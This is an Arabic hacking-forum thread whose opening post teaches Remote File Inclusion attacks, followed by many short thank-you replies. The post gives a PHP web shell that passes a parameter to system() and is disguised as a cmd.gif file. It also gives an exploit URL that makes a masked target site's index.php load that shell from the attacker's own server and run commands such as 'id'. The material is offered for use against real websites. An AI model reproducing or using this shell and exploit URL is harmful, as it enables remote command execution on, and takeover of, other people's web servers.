شرح استغلال ثغرات File Inclusion شرح سهل جدا

[Mr.JnOoN]

السلام عليكم
نيجي للشرح @@@@@@@@@

ثغرات File Inclusion
============================== =====

الثغرات المسماه Remote File Inclusion شبيهه بعمل Remote Command Execution

لكن الفرق يلزم كود لرفعه لموقعك ومن ثم تأخذ رابطه وتستخدمه للاستغلال
مثال الاستغلال :

http://www******.net/index.php?mode=http://site?&cmd

http://site = موقعك
?&cmd = كود مرفوع بموقعك
افتح النوت باد Notepad وادخل هذا الكود واحفظها باسم cmd.gif
كود:

<?
system($cmd);
?>
*/


وعند الاستغلال

http://www.*******.net/index.php?mode=http://site.com/cmd.gif?&cmd=id


...


أن Remote File Inclusion فيها كود ترفعه على موقعك وتستخدم الأوامر مكان الآي دي id ((رابط موقعك مع الـ id ))

و Remote Command Execution تستخدم أوامر اللينكس على مباشرة بدون كود مرفوع (( الـ idفقط ))

انشالله يكون الشرح بسيط ومفهوم

[brader]

:مشكور حبيبي تستاهل التقييم وتم التقييم

بالتوفيق

[Mr.JnOoN]

شكرآ لك اخي الطيب

- - - تم التحديث - - -

شكرآ لك اخي الطيب

[(dz-adil@x-HaCkEr)]

مشكور يا غالي
تسلم على الشرح

[hack:muthm]

الف شكر لك عزيزي ,,,
مجهود يستاهل التقييم

[ضلال هكر]

مشكور آلله يعطيك آلعآآفية

[عبدالعزيز البلوي]

مششششششششششكور

[ArsHackEna]

يــــــــــــــــــــــا حبيبي مبدع

[saif cc]

دمــت متألــق

تقبل مروري

[Hacker Rakan]

.. مشكور أخوي مبدع .. ودائما مبدع في مواضيعك ..
ألف شكرا لك ..
.. = تقبل مروريَ اخويَِ

[aymen cyril kamar]

مشكوورررررر

- - - تم التحديث - - -

بس الرابط مو شغاللللل

[Māśќэɒ Sйĭpэя]

بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاتة
تسلم يابطل
برجاء وضع الاكواد فى php
موفق باذن الله

[ayota elfar]

تسلم عالموضوع
بالتوفيق

[عبدالله97]

http://www.islamroses.com/ibw/uploads/post-17-1146257677.gif

[ninja_007]

جزيل الشكر لصاحب الموضوع

[OmEr MaX]

مشكوووووووور طرح اكثر من رائع

[DanG]

مشكوررررررررررررررررررررر رررررررررررررررر

[uuser54822]

يعطيك العافية